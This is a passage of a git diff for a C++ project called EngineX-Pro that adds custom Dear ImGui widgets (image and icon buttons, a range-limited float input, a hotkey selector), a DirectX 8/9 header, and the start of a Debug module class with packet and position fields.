was_selected = selected; + bool hovered, held; + bool pressed = ButtonBehavior(bb, id, &hovered, &held, button_flags); + + // Update NavId when clicking or when Hovering (this doesn't happen on most widgets), so navigation can be resumed with gamepad/keyboard + if (pressed || (hovered && (flags & ImGuiSelectableFlags_SetNavIdOnHover))) + { + if (!g.NavDisableMouseHover && g.NavWindow == window && g.NavLayer == window->DC.NavLayerCurrent) + { + g.NavDisableHighlight = true; +#ifdef NDEBUG + SetNavID(id, window->DC.NavLayerCurrent, 0); +#else + SetNavID(id, window->DC.NavLayerCurrent, 0); +#endif + } + } + if (pressed) + MarkItemEdited(id); + + if (flags & ImGuiSelectableFlags_AllowItemOverlap) + SetItemAllowOverlap(); + + // In this branch, Selectable() cannot toggle the selection so this will never trigger. + if (selected != was_selected) //-V547 + window->DC.LastItemStatusFlags |= ImGuiItemStatusFlags_ToggledSelection; + + // Render + if (held && (flags & ImGuiSelectableFlags_DrawHoveredWhenHeld)) + hovered = true; + if (hovered || selected) + { + const ImU32 col = GetColorU32((held && hovered) ? ImGuiCol_HeaderActive : hovered ? ImGuiCol_HeaderHovered : ImGuiCol_Header); + RenderFrame(bb.Min, bb.Max, col, false, 0.0f); + RenderNavHighlight(bb, id, ImGuiNavHighlightFlags_TypeThin | ImGuiNavHighlightFlags_NoRounding); + ImGuiWindow* window = GetCurrentWindow(); + window->DrawList->AddRectFilled(ImVec2(bb.Min.x, bb.Min.y), ImVec2(bb.Min.x + 4.0f, bb.Max.y), GetColorU32(ImGuiCol_NavHighlight), 0.0f, ~0); + } + + if ((flags & ImGuiSelectableFlags_SpanAllColumns) && window->DC.CurrentColumns) + { + PopColumnsBackground(); + bb.Max.x -= (GetContentRegionMax().x - max_x); + } + + if (flags & ImGuiSelectableFlags_Disabled) PushStyleColor(ImGuiCol_Text, style.Colors[ImGuiCol_TextDisabled]); + //RenderTextClipped(bb_inner.Min, bb_inner.Max, label, NULL, &label_size, style.SelectableTextAlign, &bb); + RenderTextClipped(ImVec2(bb_inner.Min.x + 6.0f, bb_inner.Min.y), ImVec2(bb_inner.Max.x + 6.0f, bb_inner.Max.y), label, NULL, &label_size, style.SelectableTextAlign, &bb); + if (flags & ImGuiSelectableFlags_Disabled) PopStyleColor(); + + // Automatically close popups + if (pressed && (window->Flags & ImGuiWindowFlags_Popup) && !(flags & ImGuiSelectableFlags_DontClosePopups) && !(window->DC.ItemFlags & ImGuiItemFlags_SelectableDontClosePopup)) + CloseCurrentPopup(); + + IMGUI_TEST_ENGINE_ITEM_INFO(id, label, window->DC.ItemFlags); + return pressed; +} + +void ImGui::DrawImagePos(ImTextureID user_texture_id, const ImVec2& size, const ImVec2& Pos, const ImVec2& uv0, const ImVec2& uv1, const ImVec4& tint_col, const ImVec4& border_col) { + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return; + + ImRect bb(Pos, Pos + size); + window->DrawList->AddImage(user_texture_id, bb.Min, bb.Max, uv0, uv1, GetColorU32(tint_col)); +} + +void ImGui::DrawImage(ImTextureID user_texture_id, const ImVec2& size, const ImVec2& uv0, const ImVec2& uv1, const ImVec4& tint_col, const ImVec4& border_col) { + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return; + + ImRect bb(window->DC.CursorPos, window->DC.CursorPos + size); + window->DrawList->AddImage(user_texture_id, bb.Min, bb.Max, uv0, uv1, GetColorU32(tint_col)); +} + +bool ImGui::ItemImage(std::string identificator, ImTextureID user_texture_id, int count, const ImVec2& f_size, bool selected, const ImVec2& uv0, const ImVec2& uv1, const ImVec4& tint_col) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + ImVec2 size = ImVec2(32, 33 * 0.90f); + ImVec2 img_size = ImVec2(f_size.x, f_size.y * 0.90f + 1.0f); + ImGuiContext& g = *GImGui; + const ImGuiStyle& style = g.Style; + std::string unique = identificator + "##itemimage"; + ImGuiID id = window->GetID(unique.c_str()); + ImRect bb(window->DC.CursorPos, window->DC.CursorPos + size); + ImRect img_bb(window->DC.CursorPos, window->DC.CursorPos + img_size); + ItemSize(bb); + if (!ItemAdd(img_bb, 0)) + return false; + + ImGuiSelectableFlags flags = 0; + ImGuiButtonFlags button_flags = 0; + const bool was_selected = selected; + bool hovered, held; + bool pressed = ButtonBehavior(img_bb, id, &hovered, &held, button_flags); + + if (pressed || (hovered && (flags & ImGuiSelectableFlags_SetNavIdOnHover))) + { + if (!g.NavDisableMouseHover && g.NavWindow == window && g.NavLayer == window->DC.NavLayerCurrent) + { + g.NavDisableHighlight = true; +#ifdef NDEBUG + SetNavID(id, window->DC.NavLayerCurrent, 0); +#else + SetNavID(id, window->DC.NavLayerCurrent, 0); +#endif + } + } + if (pressed) + MarkItemEdited(id); + + if (selected != was_selected) //-V547 + window->DC.LastItemStatusFlags |= ImGuiItemStatusFlags_ToggledSelection; + + if (held && (flags & ImGuiSelectableFlags_DrawHoveredWhenHeld)) + hovered = true; + + if (hovered || selected) + { + float AddX = 3.5f; + float AddY = 1.0f; + const ImU32 col = GetColorU32((held && hovered) ? ImGuiCol_HeaderActive : hovered ? ImGuiCol_HeaderHovered : ImGuiCol_Header); + RenderFrame(ImVec2(img_bb.Min.x - AddX, img_bb.Min.y - AddY), ImVec2(img_bb.Max.x + AddX, img_bb.Max.y + AddY), col, false, 0.0f); + RenderNavHighlight(img_bb, id, ImGuiNavHighlightFlags_TypeThin | ImGuiNavHighlightFlags_NoRounding); + ImGuiWindow* window = GetCurrentWindow(); + window->DrawList->AddRectFilled(ImVec2(img_bb.Min.x - AddX, img_bb.Min.y - AddY), ImVec2(img_bb.Min.x, img_bb.Max.y + AddY), GetColorU32(ImGuiCol_NavHighlight), 0.0f, ~0); + } + if (user_texture_id) + { + window->DrawList->AddImage(user_texture_id, img_bb.Min, img_bb.Max, uv0, uv1, GetColorU32(tint_col)); + if (count > 1) + { + std::string text = std::to_string(count); + const ImVec2 label_size = CalcTextSize(text.c_str(), NULL, true); + const ImVec2 label_size_outline = ImVec2(label_size.x + 10.0f, label_size.y + 10.0f); + ImVec2 textMin = ImVec2(img_bb.Max.x - (label_size.x), img_bb.Max.y - 10.0f); + ImVec2 textMax = ImVec2(img_bb.Max.x, img_bb.Max.y); + RenderTextClipped(textMin, textMax, text.c_str(), NULL, &label_size, style.ButtonTextAlign, &img_bb); + } + } + return pressed; +} + +void ImGui::CenterHorizontal(ImVec2 size) +{ + ImVec2 pos = GetCursorPos(); + ImVec2 center = (ImGui::GetWindowSize() - size) * 0.5f; + SetCursorPos(ImVec2(center.x, pos.y)); +} + +void ImGui::CenterVertical(ImVec2 size) +{ + ImVec2 pos = GetCursorPos(); + ImVec2 center = (ImGui::GetWindowSize() - size) * 0.5f; + SetCursorPos(ImVec2(pos.x, center.y)); +} + +void ImGui::ImageAuto(DirectTexture user_texture_id, float scale_width, float scale_height, bool center, const ImVec2& uv0, const ImVec2& uv1, const ImVec4& tint_col, const ImVec4& border_col) { + if (user_texture_id == NULL) + return; + D3DSURFACE_DESC desc; + user_texture_id->GetLevelDesc(0, &desc); + float width = desc.Width * scale_width; + float height = desc.Height * scale_height; + if (width > 0 && height > 0) { + if (center) + { + CenterHorizontal(ImVec2(width, height)); + } + ImGui::Image(user_texture_id, ImVec2(width, height), uv0, uv1, tint_col, border_col); + } +} + +void ImGui::ImageSwitcher(DirectTexture user_texture_id, const ImVec4& border_col) +{ + if (user_texture_id == NULL) + return; + D3DSURFACE_DESC desc; + user_texture_id->GetLevelDesc(0, &desc); + float width = desc.Width; + float height = desc.Height; + if (width > 0 && height > 0) {; + ImVec2 size = ImVec2(width, height); + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return; + + ImRect bb(window->DC.CursorPos, window->DC.CursorPos + size); + if (border_col.w > 0.0f) + bb.Max += ImVec2(2, 2); + ItemSize(bb); + if (!ItemAdd(bb, 0)) + return; + + window->DrawList->AddRectFilled(bb.Min, bb.Max, GetColorU32(border_col), 0.0f); + window->DrawList->AddImage(user_texture_id, bb.Min + ImVec2(1, 1), bb.Max - ImVec2(1, 1), ImVec2(0, 0), ImVec2(1, 1), GetColorU32(ImVec4(1, 1, 1, 1))); + //window->DrawList->AddImage(user_texture_id, bb.Min, bb.Max, uv0, uv1, GetColorU32(tint_col)); + } +} + +bool ImGui::PopupButton(const char* tooltip, ImTextureID texture, const ImVec2& size) { + int frame_padding = -1; + const ImVec2& uv0 = ImVec2(0, 0); + const ImVec2& uv1 = ImVec2(1, 1); + const ImVec4& bg_col = ImVec4(0, 0, 0, 0); + const ImVec4& tint_col = ImVec4(1, 1, 1, 1); + ImTextureID user_texture_id = NULL; + user_texture_id = texture; + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + ImGuiContext& g = *GImGui; + const ImGuiStyle& style = g.Style; + + // Default to using texture ID as ID. User can still push string/integer prefixes. + // We could hash the size/uv to create a unique ID but that would prevent the user from animating UV. + PushID((void*)(intptr_t)tooltip); + const ImGuiID id = window->GetID("#image"); + PopID(); + + const ImVec2 padding = (frame_padding >= 0) ? ImVec2((float)frame_padding, (float)frame_padding) : style.FramePadding; + const ImRect bb(window->DC.CursorPos, window->DC.CursorPos + size + padding * 2); + const ImRect image_bb(window->DC.CursorPos + padding, window->DC.CursorPos + padding + size); + ItemSize(bb); + if (!ItemAdd(bb, id)) + return false; + + bool hovered, held; + bool pressed = ButtonBehavior(bb, id, &hovered, &held); + if (hovered) { + ImGui::BeginTooltip(); + ImGui::SetTooltip(tooltip); + ImGui::EndTooltip(); + } + // Render + const ImU32 col = GetColorU32((held && hovered) ? ImGuiCol_ButtonActive : hovered ? ImGuiCol_ButtonHovered : ImGuiCol_Button); + RenderNavHighlight(bb, id); + RenderFrame(bb.Min, bb.Max, col, true, ImClamp((float)ImMin(padding.x, padding.y), 0.0f, style.FrameRounding)); + if (bg_col.w > 0.0f) + window->DrawList->AddRectFilled(image_bb.Min, image_bb.Max, GetColorU32(bg_col)); + window->DrawList->AddImage(user_texture_id, image_bb.Min, image_bb.Max, uv0, uv1, GetColorU32(tint_col)); + + return pressed; +} + +void ImGui::Logo(ImTextureID texture, const ImVec2& size) { + int frame_padding = -1; + const ImVec2& uv0 = ImVec2(0, 0); + const ImVec2& uv1 = ImVec2(1, 1); + const ImVec4& bg_col = ImVec4(0, 0, 0, 0); + const ImVec4& tint_col = ImVec4(1, 1, 1, 1); + ImTextureID user_texture_id = texture; + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return; + + ImGuiContext& g = *GImGui; + const ImGuiStyle& style = g.Style; + + // Default to using texture ID as ID. User can still push string/integer prefixes. + // We could hash the size/uv to create a unique ID but that would prevent the user from animating UV. + PushID((void*)(intptr_t)texture); + const ImGuiID id = window->GetID("#image"); + PopID(); + + const ImVec2 padding = (frame_padding >= 0) ? ImVec2((float)frame_padding, (float)frame_padding) : style.FramePadding; + const ImRect bb(window->DC.CursorPos, window->DC.CursorPos + size + padding * 2); + const ImRect image_bb(window->DC.CursorPos + padding, window->DC.CursorPos + padding + size); + ItemSize(bb); + if (!ItemAdd(bb, id)) + return; + //bool hovered, held; + //bool pressed = ButtonBehavior(bb, id, &hovered, &held); + // Render + //const ImU32 col = GetColorU32((held && hovered) ? ImGuiCol_ButtonActive : hovered ? ImGuiCol_ButtonHovered : ImGuiCol_Button); + //RenderNavHighlight(bb, id); + //RenderFrame(bb.Min, bb.Max, col, true, ImClamp((float)ImMin(padding.x, padding.y), 0.0f, style.FrameRounding)); + //if (bg_col.w > 0.0f) + // window->DrawList->AddRectFilled(image_bb.Min, image_bb.Max, GetColorU32(bg_col)); + window->DrawList->AddImage(user_texture_id, image_bb.Min, image_bb.Max, uv0, uv1, GetColorU32(tint_col)); + return; +} + +bool ImGui::IconMenuButton(const char* tooltip, ImTextureID texture, const ImVec2& size_arg, bool Open) { + int frame_padding = -1; + const ImVec2& uv0 = ImVec2(0, 0); + const ImVec2& uv1 = ImVec2(1, 1); + const ImVec4& bg_col = ImVec4(0, 0, 0, 0); + const ImVec4& tint_col = ImVec4(1, 1, 1, 1); + ImTextureID user_texture_id = texture; + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + ImGuiContext& g = *GImGui; + const ImGuiStyle& style = g.Style; + + // Default to using texture ID as ID. User can still push string/integer prefixes. + // We could hash the size/uv to create a unique ID but that would prevent the user from animating UV. + PushID((void*)(intptr_t)tooltip); + const ImGuiID id = window->GetID("#image"); + PopID(); + + const ImVec2 padding = (frame_padding >= 0) ? ImVec2((float)frame_padding, (float)frame_padding) : style.FramePadding; + + const ImVec2 label_size = CalcTextSize(tooltip, NULL, true); + ImRect bb(window->DC.CursorPos, window->DC.CursorPos + size_arg + padding * 2); + ImRect image_bb(window->DC.CursorPos + padding, window->DC.CursorPos + padding + (ImVec2(size_arg.x - 8.0f, size_arg.y - 8.0f))); + if (Open) + { + ImVec2 size = ImVec2(size_arg.x + label_size.x, size_arg.y); + bb = ImRect(window->DC.CursorPos, window->DC.CursorPos + size + padding * 2); + } + ItemSize(bb); + if (!ItemAdd(bb, id)) + return false; + + bool hovered, held; + bool pressed = ButtonBehavior(bb, id, &hovered, &held); + if (hovered && !Open) { + ImGui::BeginTooltip(); + ImGui::SetTooltip(tooltip); + ImGui::EndTooltip(); + } + // Render + const ImU32 col = GetColorU32((held && hovered) ? ImGuiCol_ButtonActive : hovered ? ImGuiCol_ButtonHovered : ImGuiCol_Button); + RenderNavHighlight(bb, id); + RenderFrame(bb.Min, bb.Max, col, true, ImClamp((float)ImMin(padding.x, padding.y), 0.0f, style.FrameRounding)); + if (bg_col.w > 0.0f) + window->DrawList->AddRectFilled(image_bb.Min, image_bb.Max, GetColorU32(bg_col)); + if (Open) + { + window->DrawList->AddImage(user_texture_id, ImVec2(image_bb.Min.x, image_bb.Min.y + 3.0f), ImVec2(image_bb.Max.x, image_bb.Max.y + 3.0f), uv0, uv1, GetColorU32(tint_col)); + ImVec2 textMin = ImVec2(bb.Min.x + size_arg.x + 0.0f, bb.Min.y); + ImVec2 textMax = ImVec2(bb.Max.x, bb.Max.y); + RenderTextClipped(textMin, textMax, tooltip, NULL, &label_size, style.ButtonTextAlign, &bb); + } + else + { + window->DrawList->AddImage(user_texture_id, ImVec2(image_bb.Min.x + 3.0f, image_bb.Min.y + 3.0f), ImVec2(image_bb.Max.x + 3.0f, image_bb.Max.y + 3.0f), uv0, uv1, GetColorU32(tint_col)); + } + return pressed; +} + +bool ImGui::IconButton(bool* state, const char* tooltip, ImTextureID textureOn, ImTextureID textureOff, const ImVec2& size) { + int frame_padding = -1; + const ImVec2& uv0 = ImVec2(0, 0); + const ImVec2& uv1 = ImVec2(1, 1); + const ImVec4& bg_col = ImVec4(0, 0, 0, 0); + const ImVec4& tint_col = ImVec4(1, 1, 1, 1); + ImTextureID user_texture_id = NULL; + if (*state) { + user_texture_id = textureOn; + } + else { + user_texture_id = textureOff; + } + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + ImGuiContext& g = *GImGui; + const ImGuiStyle& style = g.Style; + + // Default to using texture ID as ID. User can still push string/integer prefixes. + // We could hash the size/uv to create a unique ID but that would prevent the user from animating UV. + PushID((void*)(intptr_t)tooltip); + const ImGuiID id = window->GetID("#image"); + PopID(); + + const ImVec2 padding = (frame_padding >= 0) ? ImVec2((float)frame_padding, (float)frame_padding) : style.FramePadding; + const ImRect bb(window->DC.CursorPos, window->DC.CursorPos + size + padding * 2); + const ImRect image_bb(window->DC.CursorPos + padding, window->DC.CursorPos + padding + size); + ItemSize(bb); + if (!ItemAdd(bb, id)) + return false; + + bool hovered, held; + bool pressed = ButtonBehavior(bb, id, &hovered, &held); + if (hovered) { + ImGui::BeginTooltip(); + ImGui::SetTooltip(tooltip); + ImGui::EndTooltip(); + } + if (pressed) { + *state = !(*state); + } + + // Render + const ImU32 col = GetColorU32((held && hovered) ? ImGuiCol_ButtonActive : hovered ? ImGuiCol_ButtonHovered : ImGuiCol_Button); + RenderNavHighlight(bb, id); + RenderFrame(bb.Min, bb.Max, col, true, ImClamp((float)ImMin(padding.x, padding.y), 0.0f, style.FrameRounding)); + if (bg_col.w > 0.0f) + window->DrawList->AddRectFilled(image_bb.Min, image_bb.Max, GetColorU32(bg_col)); + window->DrawList->AddImage(user_texture_id, image_bb.Min, image_bb.Max, uv0, uv1, GetColorU32(tint_col)); + + return pressed; +} + +bool ImGui::IconButton2(bool* state, const char* tooltip, ImTextureID texture, ImTextureID textureOn, ImTextureID textureOff, const ImVec2& size) { + int frame_padding = -1; + const ImVec2& uv0 = ImVec2(0, 0); + const ImVec2& uv1 = ImVec2(1, 1); + const ImVec4& bg_col = ImVec4(0, 0, 0, 0); + const ImVec4& tint_col = ImVec4(1, 1, 1, 1); + ImTextureID user_texture_id = texture; + ImTextureID user_texture_id2 = NULL; + if (*state) { + user_texture_id2 = textureOn; + } + else { + user_texture_id2 = textureOff; + } + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + ImGuiContext& g = *GImGui; + const ImGuiStyle& style = g.Style; + + // Default to using texture ID as ID. User can still push string/integer prefixes. + // We could hash the size/uv to create a unique ID but that would prevent the user from animating UV. + PushID((void*)(intptr_t)tooltip); + const ImGuiID id = window->GetID("#image"); + PopID(); + + const ImVec2 padding = (frame_padding >= 0) ? ImVec2((float)frame_padding, (float)frame_padding) : style.FramePadding; + const ImRect bb(window->DC.CursorPos, window->DC.CursorPos + size + padding * 2); + const ImRect image_bb(window->DC.CursorPos + padding, window->DC.CursorPos + padding + size); + ItemSize(bb); + if (!ItemAdd(bb, id)) + return false; + + bool hovered, held; + bool pressed = ButtonBehavior(bb, id, &hovered, &held); + if (hovered) { + ImGui::BeginTooltip(); + ImGui::SetTooltip(tooltip); + ImGui::EndTooltip(); + } + if (pressed) { + *state = !(*state); + } + + // Render + const ImU32 col = GetColorU32((held && hovered) ? ImGuiCol_ButtonActive : hovered ? ImGuiCol_ButtonHovered : ImGuiCol_Button); + RenderNavHighlight(bb, id); + RenderFrame(bb.Min, bb.Max, col, true, ImClamp((float)ImMin(padding.x, padding.y), 0.0f, style.FrameRounding)); + if (bg_col.w > 0.0f) + window->DrawList->AddRectFilled(image_bb.Min, image_bb.Max, GetColorU32(bg_col)); + + window->DrawList->AddImage(user_texture_id, image_bb.Min, image_bb.Max, uv0, uv1, GetColorU32(tint_col)); + window->DrawList->AddImage(user_texture_id2, image_bb.Min, image_bb.Max, uv0, uv1, GetColorU32(tint_col)); + + return pressed; +} + +bool ImGui::InputFloatMinMax(const char* label, float* v, float Min, float Max, float step, float step_fast, const char* format, ImGuiInputTextFlags flags) +{ + flags |= ImGuiInputTextFlags_CharsScientific; + void* p_data = (void*)v; + void* p_step = (void*)(step > 0.0f ? &step : NULL); + void* p_step_fast = (void*)(step_fast > 0.0f ? &step_fast : NULL); + ImGuiDataType data_type = ImGuiDataType_Float; + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + ImGuiContext& g = *GImGui; + ImGuiStyle& style = g.Style; + + if (format == NULL) + format = DataTypeGetInfo(data_type)->PrintFmt; + + char buf[64]; + DataTypeFormatString(buf, IM_ARRAYSIZE(buf), data_type, p_data, format); + + bool value_changed = false; + if ((flags & (ImGuiInputTextFlags_CharsHexadecimal | ImGuiInputTextFlags_CharsScientific)) == 0) + flags |= ImGuiInputTextFlags_CharsDecimal; + flags |= ImGuiInputTextFlags_AutoSelectAll; + flags |= ImGuiInputTextFlags_NoMarkEdited; // We call MarkItemEdited() ourselve by comparing the actual data rather than the string. + + if (p_step != NULL) + { + const float button_size = GetFrameHeight(); + + BeginGroup(); // The only purpose of the group here is to allow the caller to query item data e.g. IsItemActive() + PushID(label); + SetNextItemWidth(ImMax(1.0f, CalcItemWidth() - (button_size + style.ItemInnerSpacing.x) * 2)); + + if (InputText("", buf, IM_ARRAYSIZE(buf), flags)) + { + float final_value; + sscanf(buf, "%f", &final_value); + printf("%f \n", final_value); + if (final_value >= Min && final_value <= Max) + { + value_changed = DataTypeApplyOpFromText(buf, g.InputTextState.InitialTextA.Data, data_type, p_data, format); + } + } + + // Step buttons + const ImVec2 backup_frame_padding = style.FramePadding; + style.FramePadding.x = style.FramePadding.y; + ImGuiButtonFlags button_flags = ImGuiButtonFlags_Repeat | ImGuiButtonFlags_DontClosePopups; + if (flags & ImGuiInputTextFlags_ReadOnly) + button_flags |= ImGuiButtonFlags_Disabled; + SameLine(0, style.ItemInnerSpacing.x); + void* final_step = g.IO.KeyCtrl && p_step_fast ? p_step_fast : p_step; + if (ButtonEx("-", ImVec2(button_size, button_size), button_flags)) + { + float final_value = *(float*)v - *(float*)final_step; + if (final_value >= Min && final_value <= Max) + { + DataTypeApplyOp(data_type, '-', p_data, p_data, final_step); + value_changed = true; + } + } + SameLine(0, style.ItemInnerSpacing.x); + if (ButtonEx("+", ImVec2(button_size, button_size), button_flags)) + { + float final_value = *(float*)v + *(float*)final_step; + if (final_value >= Min && final_value <= Max) + { + DataTypeApplyOp(data_type, '+', p_data, p_data, final_step); + value_changed = true; + } + } + + const char* label_end = FindRenderedTextEnd(label); + if (label != label_end) + { + SameLine(0, style.ItemInnerSpacing.x); + TextEx(label, label_end); + } + style.FramePadding = backup_frame_padding; + + PopID(); + EndGroup(); + } + else + { + if (InputText(label, buf, IM_ARRAYSIZE(buf), flags)) + { + float final_value; + sscanf(buf, "%f", &final_value); + printf("%f \n", final_value); + if (final_value >= Min && final_value <= Max) + { + value_changed = DataTypeApplyOpFromText(buf, g.InputTextState.InitialTextA.Data, data_type, p_data, format); + } + } + } + if (value_changed) + MarkItemEdited(window->DC.LastItemId); + + return value_changed; +} + +bool ImGui::Hotkey( DWORD& hotKeyTime,const char* label, int* k, const ImVec2& size_arg) +{ + ImGuiWindow* window = ImGui::GetCurrentWindow(); + if (window->SkipItems) + return false; + + ImGuiContext& g = *GImGui; + ImGuiIO& io = g.IO; + const ImGuiStyle& style = g.Style; + + const ImGuiID id = window->GetID(label); + const ImVec2 label_size = ImGui::CalcTextSize(label, NULL, true); + ImVec2 size = ImGui::CalcItemSize(size_arg, ImGui::CalcItemWidth(), label_size.y + style.FramePadding.y*2.0f); + const ImRect frame_bb(window->DC.CursorPos + ImVec2(label_size.x + style.ItemInnerSpacing.x, 0.0f), window->DC.CursorPos + size); + const ImRect total_bb(window->DC.CursorPos, frame_bb.Max); + + ImGui::ItemSize(total_bb, style.FramePadding.y); + if (!ImGui::ItemAdd(total_bb, id)) + return false; + + const bool focus_requested = ImGui::FocusableItemRegister(window, g.ActiveId == id); + const bool focus_requested_by_code = focus_requested;//&& (window->FocusIdxAllCounter == window->FocusIdxAllRequestCurrent) + const bool focus_requested_by_tab = focus_requested && !focus_requested_by_code; + + const bool hovered = ImGui::ItemHoverable(frame_bb, id); + + if (hovered) { + ImGui::SetHoveredID(id); + g.MouseCursor = ImGuiMouseCursor_TextInput; + } + + const bool user_clicked = hovered && io.MouseClicked[0]; + + if (focus_requested || user_clicked) { + if (g.ActiveId != id) { + // Start edition + memset(io.MouseDown, 0, sizeof(io.MouseDown)); + memset(io.KeysDown, 0, sizeof(io.KeysDown)); + *k = 0; + } + ImGui::SetActiveID(id, window); + ImGui::FocusWindow(window); + } + else if (io.MouseClicked[0]) { + // Release focus when we click outside + if (g.ActiveId == id) + ImGui::ClearActiveID(); + } + + bool value_changed = false; + int key = *k; + + if (g.ActiveId == id) { + for (auto i = 0; i < 5; i++) { + if (io.MouseDown[i]) { + switch (i) { + case 0: + key = VK_LBUTTON; + break; + case 1: + key = VK_RBUTTON; + break; + case 2: + key = VK_MBUTTON; + break; + case 3: + key = VK_XBUTTON1; + break; + case 4: + key = VK_XBUTTON2; + break; + } + value_changed = true; + ImGui::ClearActiveID(); + } + } + if (!value_changed) { + for (auto i = VK_BACK; i <= VK_RMENU; i++) { + if (io.KeysDown[i]) { + key = i; + value_changed = true; + ImGui::ClearActiveID(); + } + } + } + + if (IsKeyPressedMap(ImGuiKey_Escape)) { + *k = 0; + ImGui::ClearActiveID(); + } + else { + *k = key; + } + } + + // Render + // Select which buffer we are going to display. When ImGuiInputTextFlags_NoLiveEdit is Set 'buf' might still be the old value. We Set buf to NULL to prevent accidental usage from now on. + + char buf_display[64] = "None"; + + ImGui::RenderFrame(frame_bb.Min, frame_bb.Max, ImGui::GetColorU32(ImVec4(0.20f, 0.25f, 0.30f, 1.0f)), true, style.FrameRounding); + + if (*k != 0 && g.ActiveId != id) { + strcpy_s(buf_display, KeyNames[*k]); + } + else if (g.ActiveId == id) { + strcpy_s(buf_display, ""); + hotKeyTime = GetTickCount(); + } + + const ImRect clip_rect(frame_bb.Min.x, frame_bb.Min.y, frame_bb.Min.x + size.x, frame_bb.Min.y + size.y); // Not using frame_bb.Max because we have adjusted size + ImVec2 render_pos = frame_bb.Min + style.FramePadding; + ImGui::RenderTextClipped(frame_bb.Min + style.FramePadding, frame_bb.Max - style.FramePadding, buf_display, NULL, NULL, style.ButtonTextAlign, &clip_rect); + //RenderTextClipped(frame_bb.Min + style.FramePadding, frame_bb.Max - style.FramePadding, buf_display, NULL, NULL, GetColorU32(ImGuiCol_Text), style.ButtonTextAlign, &clip_rect); + //draw_window->DrawList->AddText(g.Font, g.FontSize, render_pos, GetColorU32(ImGuiCol_Text), buf_display, NULL, 0.0f, &clip_rect); + + if (label_size.x > 0) + ImGui::RenderText(ImVec2(total_bb.Min.x, frame_bb.Min.y + style.FramePadding.y), label); + return value_changed; +} + diff --git a/EngineX-Pro/CustomWidgets.h b/EngineX-Pro/CustomWidgets.h new file mode 100644 index 0000000..98df7aa --- /dev/null +++ b/EngineX-Pro/CustomWidgets.h @@ -0,0 +1,67 @@ +#pragma once +//#define IMGUI_DISABLE_OBSOLETE_FUNCTIONS +#include "imgui/imgui.h" +#define IMGUI_DEFINE_MATH_OPERATORS +//#define IMGUI_DEFINE_PLACEMENT_NEW +#include "imgui/imgui_internal.h" +#include +#include +#include +#include +#include +#ifdef DX9 +#define DirectDevice IDirect3DDevice9* +#define DirectDevice2 LPDIRECT3DDEVICE9 +#define DirectTexture LPDIRECT3DTEXTURE9 +#include "ImGui/imgui_impl_dx9.h" +#include +#include +#define DIRECTINPUT_VERSION 0x0800 +#pragma comment(lib, "d3d9.lib") +#pragma comment(lib, "d3dx9.lib") +#else +#define DirectDevice IDirect3DDevice8* +#define DirectDevice2 LPDIRECT3DDEVICE8 +#define DirectTexture LPDIRECT3DTEXTURE8 +#include "ImGui/imgui_impl_dx8.h" +#include +#include +#define DIRECTINPUT_VERSION 0x0800 +#pragma comment(lib, "d3d8.lib") +#pragma comment(lib, "d3dx8.lib") +#endif +#include + +namespace ImGui +{ + static auto vector_getter = [](void* vec, int idx, const char** out_text) + { + auto& vector = *static_cast*>(vec); + if (idx < 0 || idx >= static_cast(vector.size())) + { + return false; + } + *out_text = vector.at(idx).c_str(); + return true; + }; + + bool Hotkey(DWORD& hotKeyTime, const char* label, int* k, const ImVec2& size_arg = ImVec2(0, 0)); + void Logo(ImTextureID texture, const ImVec2& size); + bool IconMenuButton(const char* tooltip, ImTextureID texture, const ImVec2& size, bool Open); + bool IconButton(bool* state, const char* tooltip, ImTextureID textureOn, ImTextureID textureOff, const ImVec2& size); + bool IconButton2(bool* state, const char* tooltip, ImTextureID texture, ImTextureID textureOn, ImTextureID textureOff, const ImVec2& size); + bool InputFloatMinMax(const char* label, float* v, float Min, float Max, float step = 0.0f, float step_fast = 0.0f, const char* format = "%.3f", ImGuiInputTextFlags flags = 0); + bool PopupButton(const char* tooltip, ImTextureID texture, const ImVec2& size); + bool Selectable2(const char* label, bool selected = false, ImGuiSelectableFlags flags = 0, const ImVec2& size = ImVec2(0, 0)); // "bool selected" carry the selection state (read-only). Selectable() is clicked is returns true so you can modify your selection state. size.x==0.0: use remaining width, size.x>0.0: specify width. size.y==0.0: use label height, size.y>0.0: specify height + void DrawImagePos(ImTextureID user_texture_id, const ImVec2& size, const ImVec2& pos, const ImVec2& uv0 = ImVec2(0, 0), const ImVec2& uv1 = ImVec2(1, 1), const ImVec4& tint_col = ImVec4(1, 1, 1, 1), const ImVec4& border_col = ImVec4(0, 0, 0, 0)); + void DrawImage(ImTextureID user_texture_id, const ImVec2& size, const ImVec2& uv0 = ImVec2(0, 0), const ImVec2& uv1 = ImVec2(1, 1), const ImVec4& tint_col = ImVec4(1, 1, 1, 1), const ImVec4& border_col = ImVec4(0, 0, 0, 0)); + void ImageAuto(DirectTexture user_texture_id, float scale_width = 1.0f, float scale_height = 1.0f, bool center = false, const ImVec2& uv0 = ImVec2(0, 0), const ImVec2& uv1 = ImVec2(1, 1), const ImVec4& tint_col = ImVec4(1, 1, 1, 1), const ImVec4& border_col = ImVec4(0, 0, 0, 0)); + void ImageSwitcher(DirectTexture user_texture_id, const ImVec4& border_col); + bool ItemImage(std::string id, ImTextureID user_texture_id, int count, const ImVec2& size, bool selected = false, const ImVec2& uv0 = ImVec2(0, 0), const ImVec2& uv1 = ImVec2(1, 1), const ImVec4& tint_col = ImVec4(1, 1, 1, 1)); + void CenterVertical(ImVec2 size); + void CenterHorizontal(ImVec2 size); + + bool Combo(const char* label, int* currIndex, std::vector& values); + bool Combo(const char* label, int* currIndex, std::map& values); + bool ListBox(const char* label, int* currIndex, std::vector& values); +}; \ No newline at end of file diff --git a/EngineX-Pro/Debug.h b/EngineX-Pro/Debug.h new file mode 100644 index 0000000..879236d --- /dev/null +++ b/EngineX-Pro/Debug.h @@ -0,0 +1,238 @@ +#pragma once + + + +class Debug :public IAbstractModuleBase, public Singleton +{ +private: + int recv_limit = 3; + string packetHex = string(900, '\0');; + + D3DVECTOR NewPosition; +public: + void OnStart() + 